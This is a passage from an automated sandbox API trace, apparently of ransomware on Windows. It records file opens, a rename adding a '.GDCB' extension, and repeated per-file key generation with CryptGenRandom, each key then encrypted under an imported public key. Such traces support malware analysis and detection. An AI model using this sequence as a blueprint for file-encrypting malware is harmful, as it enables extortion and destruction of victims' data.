data\\packages\\windows.purchasedialog_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0214.750] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x70e0000 [0214.752] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x70f0000 [0214.753] ReadFile (in: hFile=0x510, lpBuffer=0x70f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x70f0000*, lpNumberOfBytesRead=0x285d670*=0x2000, lpOverlapped=0x0) returned 1 [0214.788] VirtualAlloc (lpAddress=0x0, dwSize=0x2000, flAllocationType=0x3000, flProtect=0x4) returned 0x7200000 [0214.795] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Windows.PurchaseDialog_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\windows.purchasedialog_cw5n1h2txyewy\\settings\\settings.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Windows.PurchaseDialog_cw5n1h2txyewy\\Settings\\settings.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\windows.purchasedialog_cw5n1h2txyewy\\settings\\settings.dat.gdcb")) returned 0 [0214.845] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4980) returned 1 [0214.847] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0214.848] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0214.848] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285db24 | out: pbBuffer=0x285db24) returned 1 [0214.848] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0214.848] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4760) returned 1 [0214.849] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0214.850] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0214.850] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285daf0 | out: pbBuffer=0x285daf0) returned 1 [0214.850] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0214.851] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4430) returned 1 [0214.854] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x6489800) returned 1 [0214.854] CryptGetKeyParam (in: hKey=0x6489800, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0214.854] CryptEncrypt (in: hKey=0x6489800, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x70c0000*, pdwDataLen=0x285db3c*=0xc8, dwBufLen=0x800 | out: pbData=0x70c0000*, pdwDataLen=0x285db3c*=0x100) returned 1 [0214.855] GetLastError () returned 0x0 [0214.855] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0214.855] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4e48) returned 1 [0214.856] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x6489580) returned 1 [0214.856] CryptGetKeyParam (in: hKey=0x6489580, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0214.856] CryptEncrypt (in: hKey=0x6489580, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x70d0000*, pdwDataLen=0x285db40*=0xc8, dwBufLen=0x800 | out: pbData=0x70d0000*, pdwDataLen=0x285db40*=0x100) returned 1 [0214.857] GetLastError () returned 0x0 [0214.857] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0214.857] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\counters.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\counters.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0214.883] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4e48) returned 1 [0214.885] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0214.887] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0214.887] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0214.887] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0214.887] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4980) returned 1 [0214.888] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0214.889] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0214.889] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0214.889] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0214.890] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4430) returned 1 [0214.892] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x648b500) returned 1 [0214.892] CryptGetKeyParam (in: hKey=0x648b500, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0214.892] CryptEncrypt (in: hKey=0x648b500, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x70e0000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x70e0000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0214.892] GetLastError () returned 0x0 [0214.892] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0214.892] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4430) returned 1 [0214.895] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x648b700) returned 1 [0214.895] CryptGetKeyParam (in: hKey=0x648b700, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0214.895] CryptEncrypt (in: hKey=0x648b700, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x70f0000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x70f0000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0214.895] GetLastError () returned 0x0 [0214.895] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0214.895] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\TileDataLayer\\Database\\EDB.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\tiledatalayer\\database\\edb.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0214.900] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4430) returned 1 [0214.902] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0214.903] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0214.903] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0214.903] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0214.904] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4e48) returned 1 [0214.905] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0214.907] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0214.907] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0214.907] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0214.907] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4430) returned 1 [0214.909] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x648b440) returned 1 [0214.910] CryptGetKeyParam (in: hKey=0x648b440, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0214.910] CryptEncrypt (in: hKey=0x648b440, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7100000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x7100000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0214.910] GetLastError () returned 0x0 [0214.910] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0214.910] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4430) returned 1 [0214.912] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x648b480) returned 1 [0214.912] CryptGetKeyParam (in: hKey=0x648b480, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0214.912] CryptEncrypt (in: hKey=0x648b480, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7110000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x7110000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0214.912] GetLastError () returned 0x0 [0214.912] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0214.912] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\tiledatalayer\\database\\vedatamodel.edb"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0215.284] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4540) returned 1 [0215.287] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0215.288] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0215.288] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0215.288] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0215.288] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0215.291] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0215.292] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0215.292] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0215.292] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0215.292] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0215.295] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x648b5c0) returned 1 [0215.296] CryptGetKeyParam (in: hKey=0x648b5c0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0215.296] CryptEncrypt (in: hKey=0x648b5c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7120000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x7120000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0215.296] GetLastError () returned 0x0 [0215.296] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0215.296] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0215.298] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x648b200) returned 1 [0215.298] CryptGetKeyParam (in: hKey=0x648b200, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0215.298] CryptEncrypt (in: hKey=0x648b200, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7130000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x7130000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0215.298] GetLastError () returned 0x0 [0215.298] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0215.299] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0215.299] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4540) returned 1 [0215.301] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0215.302] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0215.302] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0215.302] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0215.302] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0215.303] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0215.304] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0215.305] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0215.305] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0215.305] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0215.307] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x648b640) returned 1 [0215.307] CryptGetKeyParam (in: hKey=0x648b640, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0215.307] CryptEncrypt (in: hKey=0x648b640, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7140000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x7140000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0215.307] GetLastError () returned 0x0 [0215.307] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0215.307] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0215.310] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x648b240) returned 1 [0215.310] CryptGetKeyParam (in: hKey=0x648b240, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0215.310] CryptEncrypt (in: hKey=0x648b240, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7150000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x7150000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0215.310] GetLastError () returned 0x0 [0215.310] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0215.310] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0215.310] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0215.312] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0215.313] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0215.313] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0215.313] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0215.314] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0215.316] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0215.317] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0215.317] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0215.317] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0215.318] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0215.322] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x648b780) returned 1 [0215.322] CryptGetKeyParam (in: hKey=0x648b780, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0215.322] CryptEncrypt (in: hKey=0x648b780, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7160000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x7160000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0215.322] GetLastError () returned 0x0 [0215.322] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0215.322] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0215.325] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x648b7c0) returned 1 [0215.325] CryptGetKeyParam (in: hKey=0x648b7c0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0215.325] CryptEncrypt (in: hKey=0x648b7c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7170000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x7170000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0215.326] GetLastError () returned 0x0 [0215.326] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0215.326] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0215.326] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0215.329] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0215.330] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0215.330] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0215.330] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0215.330] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0215.332] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0215.334] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0215.334] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0215.334] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0215.334] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0215.340] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x648b800) returned 1 [0215.340] CryptGetKeyParam (in: hKey=0x648b800, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0215.340] CryptEncrypt (in: hKey=0x648b800, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7180000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x7180000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0215.340] GetLastError () returned 0x0 [0215.340] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0215.340] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0215.343] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x648b340) returned 1 [0215.343] CryptGetKeyParam (in: hKey=0x648b340, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0215.343] CryptEncrypt (in: hKey=0x648b340, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7190000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x7190000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0215.344] GetLastError () returned 0x0 [0215.344] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0215.344] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application 